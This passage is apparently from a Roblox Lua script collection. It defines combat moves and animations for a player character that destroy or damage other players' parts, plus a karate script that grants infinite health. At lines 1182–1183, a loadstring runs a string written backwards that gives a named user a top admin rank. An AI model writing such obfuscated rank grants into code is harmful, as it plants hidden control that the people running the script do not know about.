| 630 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70) | |
| 631 | a.FormFactor = 'Custom' | |
| 632 | a.Size = Vector3.new(100,100,100) | |
| 633 | a.Transparency = 0.5 | |
| 634 | a.BrickColor = BrickColor.new("Really black")
| |
| 635 | a.FrontSurface = "Smooth" | |
| 636 | a.BottomSurface = "Smooth" | |
| 637 | local pie = Instance.new("PointLight", a)
| |
| 638 | pie.Brightness = 5000 | |
| 639 | pie.Color = BrickColor.new("Really blue").Color
| |
| 640 | pie.Range = 60 | |
| 641 | Instance.new("SpecialMesh", a).MeshType = 'Sphere'
| |
| 642 | local con = a.Touched:connect(function(what) | |
| 643 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 644 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
| 645 | what:Destroy() | |
| 646 | end | |
| 647 | end | |
| 648 | end) | |
| 649 | coroutine.wrap(function() | |
| 650 | FireBall = true | |
| 651 | humanoid.WalkSpeed = 0 | |
| 652 | for i = 0,1,0.05 do | |
| 653 | a.Mesh.Scale = Vector3.new(i,i,i) | |
| 654 | wait() | |
| 655 | end | |
| 656 | FireBall = false | |
| 657 | humanoid.WalkSpeed = 100 | |
| 658 | while wait() do | |
| 659 | if a == nil or a.Parent ~= workspace then break end | |
| 660 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
| 661 | end | |
| 662 | con:disconnect() | |
| 663 | end)() | |
| 664 | coroutine.wrap(function() | |
| 665 | wait(5) | |
| 666 | Instance.new("Explosion",workspace).Position = a.Position
| |
| 667 | a:Destroy() | |
| 668 | end)() | |
| 669 | end | |
| 670 | function __Wall() | |
| 671 | if Regening == true then return end | |
| 672 | if Energy < 200 then return end | |
| 673 | if Wall == true then return end | |
| 674 | Energy = Energy - 200 | |
| 675 | game:GetService("Chat"):Chat(head,"[ Wall of Stealing Souls! ]",2)
| |
| 676 | local a = Instance.new("Part",workspace)
| |
| 677 | a.Anchored = true | |
| 678 | a.CanCollide = false | |
| 679 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-20) | |
| 680 | a.FormFactor = 'Custom' | |
| 681 | a.Size = Vector3.new(500,500,50) | |
| 682 | a.Transparency = 0.5 | |
| 683 | a.BrickColor = BrickColor.new("Really black")
| |
| 684 | a.FrontSurface = "Smooth" | |
| 685 | a.BottomSurface = "Smooth" | |
| 686 | local pie = Instance.new("PointLight", a)
| |
| 687 | pie.Brightness = 5000 | |
| 688 | pie.Color = BrickColor.new("Really red").Color
| |
| 689 | pie.Range = 60 | |
| 690 | local con = a.Touched:connect(function(what) | |
| 691 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 692 | if what.Name == "Part" or "Sand" or "Blast" or "Ray" then | |
| 693 | what:Remove() | |
| 694 | elseif what.Name == "Base" or "Baseplate" then | |
| 695 | return | |
| 696 | end | |
| 697 | end | |
| 698 | end) | |
| 699 | coroutine.wrap(function() | |
| 700 | Wall = true | |
| 701 | humanoid.WalkSpeed = 0 | |
| 702 | wait(2) | |
| 703 | Wall = false | |
| 704 | humanoid.WalkSpeed = 100 | |
| 705 | con:disconnect() | |
| 706 | p:Remove() | |
| 707 | end)() | |
| 708 | coroutine.wrap(function() | |
| 709 | wait(5) | |
| 710 | Instance.new("Explosion",workspace).Position = a.Position
| |
| 711 | a:Destroy() | |
| 712 | end)() | |
| 713 | end | |
| 714 | function __Tornado() | |
| 715 | if Regening == true then return end | |
| 716 | if Energy < 150 then return end | |
| 717 | if Tornado == true then return end | |
| 718 | Energy = Energy - 150 | |
| 719 | game:GetService("Chat"):Chat(head,"[ Black Wind ]",2)
| |
| 720 | local a = Instance.new("Part",workspace)
| |
| 721 | a.Anchored = true | |
| 722 | a.CanCollide = false | |
| 723 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50) | |
| 724 | a.FormFactor = 'Custom' | |
| 725 | a.Size = Vector3.new(100,100,100) | |
| 726 | a.Transparency = 0.5 | |
| 727 | a.Reflectance = 0.5 | |
| 728 | a.BrickColor = BrickColor.new("Really black")
| |
| 729 | a.BottomSurface = "Smooth" | |
| 730 | a.TopSurface = "Smooth" | |
| 731 | local pie = Instance.new("PointLight", a)
| |
| 732 | pie.Brightness = 5000 | |
| 733 | pie.Color = BrickColor.new("Really blue").Color
| |
| 734 | pie.Range = 10 | |
| 735 | local b = Instance.new("SpecialMesh",a)
| |
| 736 | b.MeshId = 'http://www.roblox.com/asset/?id=16606212' | |
| 737 | b.VertexColor = Vector3.new(1, 1, 1) | |
| 738 | b.Scale = Vector3.new(10, 10, 10) | |
| 739 | local con = a.Touched:connect(function(what) | |
| 740 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 741 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
| 742 | what:Destroy() | |
| 743 | end | |
| 744 | end | |
| 745 | end) | |
| 746 | coroutine.wrap(function() | |
| 747 | Tornado = true | |
| 748 | humanoid.WalkSpeed = 0 | |
| 749 | for i = 0,1,0.05 do | |
| 750 | a.Mesh.Scale = Vector3.new(10,10,10) | |
| 751 | wait() | |
| 752 | end | |
| 753 | Tornado = false | |
| 754 | humanoid.WalkSpeed = 100 | |
| 755 | while wait() do | |
| 756 | if a == nil or a.Parent ~= workspace then break end | |
| 757 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
| 758 | end | |
| 759 | con:disconnect() | |
| 760 | end)() | |
| 761 | coroutine.wrap(function() | |
| 762 | wait(5) | |
| 763 | Instance.new("Explosion",workspace).Position = a.Position
| |
| 764 | a:Destroy() | |
| 765 | end)() | |
| 766 | end | |
| 767 | function __Destiny() | |
| 768 | if Regening == true then return end | |
| 769 | if Energy < 200 then return end | |
| 770 | if Destiny == true then return end | |
| 771 | Energy = Energy - 200 | |
| 772 | game:GetService("Chat"):Chat(head,"[ Scythe's Shadow ]",2)
| |
| 773 | local a = Instance.new("Part",workspace)
| |
| 774 | a.Anchored = true | |
| 775 | a.CanCollide = false | |
| 776 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50) | |
| 777 | a.FormFactor = 'Custom' | |
| 778 | a.Size = Vector3.new(1000,0.2,50) | |
| 779 | a.BottomSurface = 'Smooth' | |
| 780 | a.TopSurface = 'Smooth' | |
| 781 | a.Transparency = 0.5 | |
| 782 | a.BrickColor = BrickColor.new("Really black")
| |
| 783 | local pie = Instance.new("PointLight", a)
| |
| 784 | pie.Brightness = 5000 | |
| 785 | pie.Color = BrickColor.new("Really blue").Color
| |
| 786 | pie.Range = 20 | |
| 787 | Instance.new("SpecialMesh", a).MeshType = 'Sphere'
| |
| 788 | local con = a.Touched:connect(function(what) | |
| 789 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 790 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
| 791 | what:Destroy() | |
| 792 | end | |
| 793 | end | |
| 794 | end) | |
| 795 | coroutine.wrap(function() | |
| 796 | Destiny = true | |
| 797 | humanoid.WalkSpeed = 0 | |
| 798 | for i = 0,1,0.05 do | |
| 799 | a.Mesh.Scale = Vector3.new(i,i,i) | |
| 800 | wait() | |
| 801 | end | |
| 802 | Destiny = false | |
| 803 | humanoid.WalkSpeed = 100 | |
| 804 | while wait() do | |
| 805 | if a == nil or a.Parent ~= workspace then break end | |
| 806 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
| 807 | end | |
| 808 | con:disconnect() | |
| 809 | end)() | |
| 810 | coroutine.wrap(function() | |
| 811 | wait(5) | |
| 812 | Instance.new("Explosion",workspace).Position = a.Position
| |
| 813 | a:Destroy() | |
| 814 | end)() | |
| 815 | end | |
| 816 | function __Spikes() | |
| 817 | if Regening == true then return end | |
| 818 | if Energy < 100 then return end | |
| 819 | if Spikes == true then return end | |
| 820 | Energy = Energy - 100 | |
| 821 | Spikes = true | |
| 822 | game:GetService("Chat"):Chat(head,"[ Scythes of Hell! ]",2)
| |
| 823 | humanoid.WalkSpeed = 0 | |
| 824 | for z = 0,200 do | |
| 825 | local a = Instance.new("Part",workspace)
| |
| 826 | a.FormFactor = 'Custom' | |
| 827 | a.Size = Vector3.new(30, 500, 30) | |
| 828 | a.Anchored = true | |
| 829 | a.CanCollide = false | |
| 830 | a.BrickColor = BrickColor.new("Really blue")
| |
| 831 | a.Transparency = 0.5 | |
| 832 | a.Reflectance = 0.5 | |
| 833 | a.FrontSurface = "Smooth" | |
| 834 | a.BottomSurface = "Smooth" | |
| 835 | local pie = Instance.new("PointLight", a)
| |
| 836 | pie.Brightness = 5000 | |
| 837 | pie.Color = BrickColor.new("Royal purple").Color
| |
| 838 | pie.Range = 20 | |
| 839 | local b = Instance.new("SpecialMesh",a)
| |
| 840 | b.MeshId = 'http://www.roblox.com/asset/?id=95891318' | |
| 841 | b.VertexColor = Vector3.new(1, 1, 1) | |
| 842 | b.Scale = Vector3.new(1,1,1) | |
| 843 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2) | |
| 844 | local con = a.Touched:connect(function(what) | |
| 845 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 846 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
| 847 | for i,v in pairs(what.Parent:children()) do | |
| 848 | if v.ClassName == 'Humanoid' then | |
| 849 | if v.Health > 100 then v.Health = 100 end | |
| 850 | v.Health = v.Health - 100 | |
| 851 | end | |
| 852 | end | |
| 853 | end | |
| 854 | end | |
| 855 | end) | |
| 856 | coroutine.wrap(function() | |
| 857 | wait(3) | |
| 858 | a:Destroy() | |
| 859 | con:disconnect() | |
| 860 | end)() | |
| 861 | wait() | |
| 862 | end | |
| 863 | humanoid.WalkSpeed = 100 | |
| 864 | Spikes = false | |
| 865 | end | |
| 866 | function __Lightning() | |
| 867 | if Energy < 250 then return end | |
| 868 | if Lightning == true then return end | |
| 869 | if Regening == true then return end | |
| 870 | humanoid.WalkSpeed = 50 | |
| 871 | Lightning = true | |
| 872 | game:GetService("Chat"):Chat(head,"[ Scythe's Judgement! ]",2)
| |
| 873 | Energy = Energy - 250 | |
| 874 | local function segment(pos1,pos2,color) | |
| 875 | local dis=(pos1-pos2).magnitude | |
| 876 | local p=Instance.new("Part")
| |
| 877 | p.CanCollide=false | |
| 878 | p.FormFactor="Custom" | |
| 879 | p.Size=Vector3.new(50,50,dis) | |
| 880 | p.Anchored=true | |
| 881 | p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2) | |
| 882 | p.BrickColor=color | |
| 883 | p.Transparency = 0.5 | |
| 884 | p.Reflectance = 0.5 | |
| 885 | p.FrontSurface = "Smooth" | |
| 886 | p.BottomSurface = "Smooth" | |
| 887 | local pie = Instance.new("PointLight", p)
| |
| 888 | pie.Brightness = 5000 | |
| 889 | pie.Color = BrickColor.new("Really blue").Color
| |
| 890 | pie.Range = 20 | |
| 891 | local pie2 = Instance.new("SpecialMesh", p)
| |
| 892 | pie2.MeshId = "http://www.roblox.com/asset/?id=95891318" | |
| 893 | pie2.Scale = Vector3.new(10,10,10) | |
| 894 | return p | |
| 895 | end | |
| 896 | target = mouse.Hit | |
| 897 | height=1000 | |
| 898 | prev=(target*CFrame.new(0,300,0)).p | |
| 899 | for i=height,30,-50 do | |
| 900 | cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z) | |
| 901 | p=segment(prev,cur,BrickColor.new("Really black"))
| |
| 902 | p.Parent=workspace | |
| 903 | local pie = Instance.new("PointLight", p)
| |
| 904 | pie.Brightness = 5000 | |
| 905 | pie.Color = BrickColor.new("Really blue").Color
| |
| 906 | pie.Range = 10 | |
| 907 | game:service("Debris"):AddItem(p,3)
| |
| 908 | prev=cur | |
| 909 | wait() | |
| 910 | end | |
| 911 | p=segment(prev,target.p,BrickColor.new("Really black"))
| |
| 912 | p.Parent=workspace | |
| 913 | local pie = Instance.new("PointLight", p)
| |
| 914 | pie.Brightness = 5000 | |
| 915 | pie.Color = BrickColor.new("Really blue").Color
| |
| 916 | pie.Range = 10 | |
| 917 | game:service("Debris"):AddItem(p,3)
| |
| 918 | local ex = Instance.new("Explosion",workspace)
| |
| 919 | ex.Position=target.p | |
| 920 | ex.BlastRadius = 100 | |
| 921 | wait(1) | |
| 922 | Lightning = false | |
| 923 | humanoid.WalkSpeed = 100 | |
| 924 | end | |
| 925 | function __Explosion() | |
| 926 | if Energy < 1000 then return end | |
| 927 | if Explosion == true then return end | |
| 928 | if Regening == true then return end | |
| 929 | humanoid.WalkSpeed = 0 | |
| 930 | Explosion = true | |
| 931 | Energy = Energy - 1000 | |
| 932 | game:GetService("Chat"):Chat(head,"[ Scythe's Shattted Judgement of Hell! ]",2)
| |
| 933 | Instance.new("ForceField", LocalPlayer.Character)
| |
| 934 | local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
| |
| 935 | Fire.Color = BrickColor.new("Really black").Color
| |
| 936 | for i = 0,100 do | |
| 937 | game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
| |
| 938 | Fire.Size = i | |
| 939 | wait(0.1) | |
| 940 | end | |
| 941 | game:GetService("Chat"):Chat(head,"[ Scythe's Shattered Judgement of Hell! ]",2)
| |
| 942 | Fire:remove() | |
| 943 | LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
| |
| 944 | local a = Instance.new("Explosion", LocalPlayer.Character)
| |
| 945 | a.Position = LocalPlayer.Character.Torso.Position | |
| 946 | a.BlastPressure = 1e100 | |
| 947 | a.BlastRadius = 100 | |
| 948 | Explosion = false | |
| 949 | humanoid.WalkSpeed = 100 | |
| 950 | end | |
| 951 | t.Activated:connect(__onActivated) | |
| 952 | t.Deactivated:connect(__onDeactivated) | |
| 953 | t.Equipped:connect(__onEquipped) | |
| 954 | t.Unequipped:connect(__onUnequipped) | |
| 955 | coroutine.wrap(function() | |
| 956 | while wait() do | |
| 957 | if Activated == true then | |
| 958 | if Mode == 'Shoot' then | |
| 959 | __Shoot() | |
| 960 | elseif Mode == 'FireBall' then | |
| 961 | __FireBall() | |
| 962 | elseif Mode == 'Spikes' then | |
| 963 | __Spikes() | |
| 964 | elseif Mode == 'Lightning' then | |
| 965 | __Lightning() | |
| 966 | elseif Mode == 'Explosion' then | |
| 967 | __Explosion() | |
| 968 | elseif Mode == 'Destiny' then | |
| 969 | __Destiny() | |
| 970 | elseif Mode == 'Tornado' then | |
| 971 | __Tornado() | |
| 972 | elseif Mode == 'Armor' then | |
| 973 | __Armor() | |
| 974 | elseif Mode == 'Wall' then | |
| 975 | __Wall() | |
| 976 | end | |
| 977 | end | |
| 978 | if Regening == true then | |
| 979 | game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
| |
| 980 | Energy = Energy + 5000 | |
| 981 | Instance.new("ForceField", LocalPlayer.Character)
| |
| 982 | wait(1) | |
| 983 | end | |
| 984 | end | |
| 985 | end)() | |
| 986 | mouse.KeyDown:connect(function(key) | |
| 987 | if key == 'e' then | |
| 988 | game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
| |
| 989 | humanoid.WalkSpeed = 75 | |
| 990 | Regening = true | |
| 991 | end | |
| 992 | if key == 'q' then | |
| 993 | if Mode == 'Shoot' then | |
| 994 | Mode = 'FireBall' | |
| 995 | elseif Mode == 'FireBall' then | |
| 996 | Mode = 'Spikes' | |
| 997 | elseif Mode == 'Spikes' then | |
| 998 | Mode = 'Lightning' | |
| 999 | elseif Mode == 'Lightning' then | |
| 1000 | Mode = 'Explosion' | |
| 1001 | elseif Mode == 'Explosion' then | |
| 1002 | Mode = 'Destiny' | |
| 1003 | elseif Mode == 'Destiny' then | |
| 1004 | Mode = 'Tornado' | |
| 1005 | elseif Mode == 'Tornado' then | |
| 1006 | Mode = 'Wall' | |
| 1007 | elseif Mode == 'Wall' then | |
| 1008 | Mode = 'Armor' | |
| 1009 | else | |
| 1010 | Mode = 'Shoot' | |
| 1011 | end | |
| 1012 | end | |
| 1013 | end) | |
| 1014 | mouse.KeyUp:connect(function(key) | |
| 1015 | if key == 'e' then | |
| 1016 | game:GetService("Chat"):Chat(head,"[ Lets see how you do now. ]",1)
| |
| 1017 | humanoid.WalkSpeed = 100 | |
| 1018 | Regening = false | |
| 1019 | if LocalPlayer.Character:FindFirstChild("ForceField") then
| |
| 1020 | LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
| |
| 1021 | end | |
| 1022 | end | |
| 1023 | end) | |
| 1024 | count = 0 | |
| 1025 | countspeed = 0.70 | |
| 1026 | coroutine.wrap(function() | |
| 1027 | while wait() do | |
| 1028 | if Energy > 10000 then Energy = 10000 end | |
| 1029 | if Energy < 0 then Energy = 0 end | |
| 1030 | TEXTLABEL.Text = "Power: "..tostring(Energy) | |
| 1031 | TEXTLABEL2.Text = "Current Health: "..tostring(math.floor(humanoid.Health)) | |
| 1032 | if Mode == 'Shoot' then | |
| 1033 | TEXTLABEL3.Text = 'Strength: Dark Wyvern (50 Power)' | |
| 1034 | elseif Mode == 'FireBall' then | |
| 1035 | TEXTLABEL3.Text = 'Strength: Dark-Black Fire (150 Power)' | |
| 1036 | elseif Mode == 'Spikes' then | |
| 1037 | TEXTLABEL3.Text = 'Strength: Scythes of Hell (100 Power)' | |
| 1038 | elseif Mode == 'Lightning' then | |
| 1039 | TEXTLABEL3.Text = 'Strength: Scythes Judgement (250 Power)' | |
| 1040 | elseif Mode == 'Explosion' then | |
| 1041 | TEXTLABEL3.Text = 'Strength: Scythes Shattted Judgement of Hell (1000 Power)' | |
| 1042 | elseif Mode == 'Destiny' then | |
| 1043 | TEXTLABEL3.Text = 'Strength: Scythes Shadow (200 Power)' | |
| 1044 | elseif Mode == 'Tornado' then | |
| 1045 | TEXTLABEL3.Text = 'Strength: Black Wind (150 Power)' | |
| 1046 | elseif Mode == 'Armor' then | |
| 1047 | TEXTLABEL3.Text = 'Strength: Armor of Constealing Light (1000 Power)' | |
| 1048 | elseif Mode == 'Wall' then | |
| 1049 | TEXTLABEL3.Text = 'Strength: Wall of Stealing Souls (200 Power)' | |
| 1050 | end | |
| 1051 | count = (count % 100) + countspeed | |
| 1052 | angle = math.pi * math.sin(math.pi*2/100*count) | |
| 1053 | if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then | |
| 1054 | countspeed = 8 | |
| 1055 | if Equipped == false then | |
| 1056 | rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
| 1057 | else | |
| 1058 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
| 1059 | end | |
| 1060 | lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
| 1061 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
| 1062 | llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
| 1063 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0) | |
| 1064 | rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 1065 | wait() | |
| 1066 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand | |
| 1067 | if shooting then | |
| 1068 | countspeed = 8 | |
| 1069 | rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25)) | |
| 1070 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg | |
| 1071 | llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg | |
| 1072 | lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm | |
| 1073 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm | |
| 1074 | elseif Regening == true then | |
| 1075 | if Energy == 10000 then Regening = false end | |
| 1076 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 1077 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 1078 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 1079 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20)) | |
| 1080 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20)) | |
| 1081 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
| 1082 | elseif FireBall == true then | |
| 1083 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 1084 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 1085 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 1086 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
| 1087 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
| 1088 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
| 1089 | elseif Spikes == true then | |
| 1090 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 1091 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 1092 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 1093 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
| 1094 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
| 1095 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
| 1096 | elseif Lightning == true then | |
| 1097 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 1098 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 1099 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 1100 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
| 1101 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
| 1102 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
| 1103 | elseif Explosion == true then | |
| 1104 | coroutine.wrap(function() | |
| 1105 | for i = 0,360 do | |
| 1106 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 1107 | wait() | |
| 1108 | end | |
| 1109 | end)() | |
| 1110 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
| 1111 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
| 1112 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
| 1113 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
| 1114 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
| 1115 | else | |
| 1116 | countspeed = 0.70-- this judges how fast idle animation goes | |
| 1117 | rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg | |
| 1118 | llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg | |
| 1119 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm | |
| 1120 | if Equipped == false then | |
| 1121 | rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm | |
| 1122 | else | |
| 1123 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
| 1124 | end | |
| 1125 | neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head | |
| 1126 | rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso | |
| 1127 | end | |
| 1128 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk | |
| 1129 | countspeed = 8-- this judges how fast the walk animation goes | |
| 1130 | rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
| 1131 | llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0) | |
| 1132 | neck.C0 = neckc0 * CFrame.Angles(0, 0, 0) | |
| 1133 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
| 1134 | if Equipped == false then | |
| 1135 | rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0) | |
| 1136 | else | |
| 1137 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
| 1138 | end | |
| 1139 | rj.C0 = rootc0 * CFrame.Angles(0, 0, 0) | |
| 1140 | end | |
| 1141 | end | |
| 1142 | end)() | |
| 1143 | humanoid.Died:connect(function() | |
| 1144 | for cframe_parts = 0, 50 do | |
| 1145 | local p = Instance.new("Part")
| |
| 1146 | p.FormFactor = "Custom" | |
| 1147 | p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)]) | |
| 1148 | p.Size = Vector3.new(1, 1, 1) | |
| 1149 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
| |
| 1150 | p.Locked = true | |
| 1151 | p.CanCollide = false | |
| 1152 | p.Anchored = true | |
| 1153 | p.CFrame = torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50)) | |
| 1154 | p.Parent = workspace | |
| 1155 | local box = Instance.new("SelectionBox", p)
| |
| 1156 | box.Color = BrickColor.new(Colors[math.random(1, #Colors)]) | |
| 1157 | box.Adornee = p | |
| 1158 | box.Transparency = 0.5 | |
| 1159 | box.Visible = true | |
| 1160 | game:service'Debris':AddItem(p, 5) | |
| 1161 | coroutine.wrap(function() | |
| 1162 | while wait() do | |
| 1163 | if p ~= nil then | |
| 1164 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
| 1165 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
| 1166 | p.Transparency = p.Transparency + 0.015 | |
| 1167 | else | |
| 1168 | break | |
| 1169 | end | |
| 1170 | end | |
| 1171 | end)() | |
| 1172 | end | |
| 1173 | for _,v in pairs(char:children()) do | |
| 1174 | if v:IsA("Part") then
| |
| 1175 | v:Destroy() | |
| 1176 | end | |
| 1177 | end | |
| 1178 | ||
| 1179 | end) | |
| 1180 | ||
| 1181 | ]] | |
| 1182 | loadstring(([[ }"esu rof tnem toN" = cseD ,)1,1,0(wen.3roloC = roloC ,"]REGGUBED[" = emaN{ = ]8[tsiLsknaR
| |
| 1183 | })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]):reverse())()
| |
| 1184 | SoulCrushingKarate = [[ | |
| 1185 | a,b = pcall(function() | |
| 1186 | Plrs = game:GetService("Players")
| |
| 1187 | me = Plrs.LocalPlayer | |
| 1188 | char = me.Character | |
| 1189 | Modelname = "SoulKarate" | |
| 1190 | local Head = char.Head | |
| 1191 | local Torso = char.Torso | |
| 1192 | local LeftArm = char["Left Arm"] | |
| 1193 | local RightArm = char["Right Arm"] | |
| 1194 | local LeftLeg = char["Left Leg"] | |
| 1195 | local RightLeg = char["Right Leg"] | |
| 1196 | local RightHip = Torso["Right Hip"] | |
| 1197 | local LeftHip = Torso["Left Hip"] | |
| 1198 | dmgs = {Pdmg = {50, 100, "Punch"}, Kdmg = {100, 150, "Kick"}, K2dmg = {200, 300, "Doublekick"}, Rdmg = {230, 300, "RoundHouse"},
| |
| 1199 | Kardmg = {30, 50, "Karate"}}
| |
| 1200 | dmg = dmgs.Pdmg | |
| 1201 | Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
| |
| 1202 | necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
| 1203 | able = true | |
| 1204 | block = false | |
| 1205 | breakblock = 19 | |
| 1206 | holdkey = false | |
| 1207 | effectOn = false | |
| 1208 | Instance.new("ForceField", char)
| |
| 1209 | Add = {
| |
| 1210 | Sphere = function(P) | |
| 1211 | local m = Instance.new("SpecialMesh",P)
| |
| 1212 | m.MeshType = "Sphere" | |
| 1213 | return m | |
| 1214 | end, | |
| 1215 | BF = function(P) | |
| 1216 | local bf = Instance.new("BodyForce",P)
| |
| 1217 | bf.force = Vector3.new(0, P:GetMass()*187, 0) | |
| 1218 | return bf | |
| 1219 | end, | |
| 1220 | BP = function(P) | |
| 1221 | local bp = Instance.new("BodyPosition",P)
| |
| 1222 | bp.maxForce = Vector3.new(math.huge, 0, math.huge) | |
| 1223 | bp.P = 14000 | |
| 1224 | return bp | |
| 1225 | end, | |
| 1226 | BG = function(P) | |
| 1227 | local bg = Instance.new("BodyGyro",P)
| |
| 1228 | bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
| 1229 | bg.P = 14000 | |
| 1230 | return bg | |
| 1231 | end | |
| 1232 | } | |
| 1233 | char.Humanoid.MaxHealth = math.huge | |
| 1234 | char.Humanoid.WalkSpeed = 50 | |
| 1235 | Head.Transparency = 0.5 | |
| 1236 | Head.Reflectance = 0.5 | |
| 1237 | Torso.Transparency = 0.5 | |
| 1238 | Torso.Reflectance = 0.5 | |
| 1239 | RightLeg.Transparency = 0.5 | |
| 1240 | RightLeg.Reflectance = 0.5 | |
| 1241 | LeftArm.Transparency = 0.5 | |
| 1242 | LeftArm.Reflectance = 0.5 | |
| 1243 | RightArm.Transparency = 0.5 | |
